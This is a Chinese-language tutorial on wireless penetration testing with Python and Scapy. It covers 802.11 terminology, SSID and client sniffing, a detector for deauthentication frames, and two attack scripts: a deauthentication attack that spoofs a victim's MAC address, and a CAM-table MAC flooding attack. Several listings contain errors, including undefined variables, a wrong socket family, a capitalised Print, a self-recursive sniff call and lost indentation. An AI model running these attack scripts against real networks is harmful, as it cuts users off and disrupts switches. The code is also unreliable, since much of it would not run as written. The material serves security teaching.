無線網路滲透測試



無線系統具有很大的靈活性,但另一方面,它也帶來了嚴重的安全性問題。那麼,這怎麼會成為一個嚴重的安全性問題呢?因為對於無線連線,攻擊者只需要能夠接收到訊號就可以發起攻擊,而不需要像有線網路那樣需要物理訪問。無線系統的滲透測試比有線網路更容易。我們無法對無線介質採取良好的物理安全措施,如果我們足夠靠近,我們將能夠“聽到”(或者至少你的無線介面卡能夠聽到)所有在空中傳輸的資料。

先決條件

在深入學習無線網路滲透測試之前,讓我們先討論一下術語以及客戶端和無線系統之間通訊的過程。

重要術語

現在讓我們學習與無線網路滲透測試相關的重要的術語。

接入點 (AP)

接入點 (AP) 是 802.11 無線實現中的中心節點。該點用於將使用者連線到網路中的其他使用者,也可以作為無線區域網 (WLAN) 和固定有線網路之間的互連點。在 WLAN 中,AP 是傳輸和接收資料的站點。

服務集識別符號 (SSID)

它是一個 0-32 位元組長的可讀文字字串,基本上是分配給無線網路的名稱。網路中的所有裝置都必須使用此區分大小寫的名稱才能透過無線網路 (Wi-Fi) 通訊。

基本服務集識別符號 (BSSID)

它是無線接入點 (AP) 上執行的 Wi-Fi 晶片組的 MAC 地址。它是隨機生成的。

通道號

它表示接入點 (AP) 用於傳輸的射頻範圍。

客戶端與無線系統之間的通訊

我們還需要了解的另一件重要的事情是客戶端與無線系統之間通訊的過程。藉助下圖,我們可以瞭解這一點:

Client and the Wireless System Communication

信標幀

在客戶端和接入點之間的通訊過程中,AP 定期傳送信標幀以顯示其存在。此幀包含與 SSID、BSSID 和通道號相關的資訊。

探測請求

現在,客戶端裝置將傳送探測請求以檢查範圍內的 AP。傳送探測請求後,它將等待來自 AP 的探測響應。探測請求包含諸如 AP 的 SSID、特定於供應商的資訊等資訊。

探測響應

現在,在收到探測請求後,AP 將傳送探測響應,其中包含諸如支援的資料速率、功能等資訊。

身份驗證請求

現在,客戶端裝置將傳送包含其身份的身份驗證請求幀。

身份驗證響應

現在,作為響應,AP 將傳送身份驗證響應幀,指示接受或拒絕。

關聯請求

身份驗證成功後,客戶端裝置已傳送關聯請求幀,其中包含支援的資料速率和 AP 的 SSID。

關聯響應

現在,作為響應,AP 將傳送關聯響應幀,指示接受或拒絕。如果接受,將建立客戶端裝置的關聯 ID。

使用 Python 查詢無線服務集識別符號 (SSID)

我們可以藉助原始套接字方法以及使用 Scapy 庫來收集有關 SSID 的資訊。

原始套接字方法

我們已經瞭解到 **mon0** 捕獲無線資料包;因此,我們需要將監視模式設定為 **mon0**。在 Kali Linux 中,可以使用 **airmon-ng** 指令碼完成此操作。執行此指令碼後,它將為無線網絡卡指定一個名稱,例如 **wlan1**。現在,藉助以下命令,我們需要在 **mon0** 上啟用監視模式:

airmon-ng start wlan1

以下是原始套接字方法,Python 指令碼,它將為我們提供 AP 的 SSID:

首先,我們需要匯入套接字模組,如下所示:

import socket

現在,我們將建立一個套接字,它將具有三個引數。第一個引數告訴我們資料包介面(對於 Linux 特定為 PF_PACKET,對於 Windows 為 AF_INET),第二個引數告訴我們它是否是原始套接字,第三個引數告訴我們我們對所有資料包感興趣。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

現在,下一行將繫結 **mon0** 模式和 **0x0003**。

s.bind(("mon0", 0x0003))

現在,我們需要宣告一個空列表,它將儲存 AP 的 SSID。

ap_list = []

現在,我們需要呼叫 **recvfrom()** 方法來接收資料包。為了使嗅探繼續進行,我們將使用無限 while 迴圈。

while True:
   packet = s.recvfrom(2048)

下一行程式碼顯示如果幀為 8 位,則表示信標幀。

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

使用 Scapy 進行 SSID 嗅探

Scapy 是最好的庫之一,它允許我們輕鬆嗅探 Wi-Fi 資料包。您可以在 https://scapy.readthedocs.io/en/latest/ 詳細瞭解 Scapy。首先,在互動模式下執行 Scapy 並使用命令 conf 獲取 iface 的值。預設介面是 eth0。現在,正如我們上面所做的那樣,我們需要將此模式更改為 mon0。可以按如下方式完成:

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

現在讓我們匯入 Scapy 作為庫。此外,執行以下 Python 指令碼將為我們提供 SSID:

from scapy.all import *

現在,我們需要宣告一個空列表,它將儲存 AP 的 SSID。

ap_list = []

現在,我們將定義一個名為 **Packet_info()** 的函式,它將具有完整的包解析邏輯。它將具有引數 pkt。

def Packet_info(pkt) :

在下一條語句中,我們將應用一個過濾器,該過濾器只允許透過 **Dot11** 流量,這意味著 802.11 流量。後面的那行也是一個過濾器,它允許透過幀型別為 0(表示管理幀)且幀子型別為 8(表示信標幀)的流量。

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

現在,sniff 函式將使用 **iface** 值 **mon0**(對於無線資料包)嗅探資料並呼叫 **Packet_info** 函式。

sniff(iface = "mon0", prn = Packet_info)

要實現上述 Python 指令碼,我們需要能夠使用監視模式嗅探空氣的 Wi-Fi 網絡卡。

檢測接入點客戶端

要檢測接入點的客戶端,我們需要捕獲探測請求幀。我們可以像在使用 Scapy 的 SSID 嗅探器 Python 指令碼中所做的那樣進行操作。我們需要為捕獲探測請求幀提供 **Dot11ProbeReq**。以下是檢測接入點客戶端的 Python 指令碼:

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

無線攻擊

從滲透測試人員的角度來看,瞭解無線攻擊是如何發生的非常重要。在本節中,我們將討論兩種無線攻擊:

  • 去認證 (deauth) 攻擊

  • MAC 地址泛洪攻擊

去認證 (deauth) 攻擊

在客戶端裝置和接入點之間的通訊過程中,每當客戶端想要斷開連線時,它都需要傳送去認證幀。作為對客戶端該幀的響應,AP 也將傳送去認證幀。攻擊者可以透過偽造受害者的 MAC 地址並將去認證幀傳送到 AP 來利用此正常過程。由於此原因,客戶端和 AP 之間的連線將斷開。以下是執行去認證攻擊的 Python 指令碼:

讓我們首先匯入 Scapy 作為庫:

from scapy.all import *
import sys

以下兩條語句將分別輸入 AP 和受害者的 MAC 地址。

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

現在,我們需要建立去認證幀。可以透過執行以下語句來建立它。

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

下一行程式碼表示傳送的資料包總數;此處為 500,以及兩個資料包之間的間隔。

sendp(frame, iface = "mon0", count = 500, inter = .1)

輸出

執行後,上述命令將生成以下輸出:

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

接下來是建立 deauth 幀,然後代表客戶端將其傳送到接入點。這將使它們之間的連線取消。

這裡的問題是如何使用 Python 指令碼檢測 deauth 攻擊。執行以下 Python 指令碼將有助於檢測此類攻擊:

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

在上面的指令碼中,語句 **pkt.subtype == 12** 指示 deauth 幀,全域性定義的變數 I 說明了資料包的數量。

輸出

執行上述指令碼將生成以下輸出:

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MAC 地址泛洪攻擊

MAC 地址泛洪攻擊(CAM 表泛洪攻擊)是一種網路攻擊,攻擊者連線到交換機埠,使用大量具有不同偽造源 MAC 地址的乙太網幀泛洪交換機介面。當大量 MAC 地址泛洪到表中並達到 CAM 表閾值時,就會發生 CAM 表溢位。這會導致交換機像集線器一樣工作,在所有埠上泛洪網路流量。此類攻擊很容易發起。以下 Python 指令碼有助於發起此類 CAM 泛洪攻擊:

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

這種攻擊的主要目的是檢查交換機的安全性。如果想減輕 MAC 泛洪攻擊的影響,我們需要使用埠安全。

廣告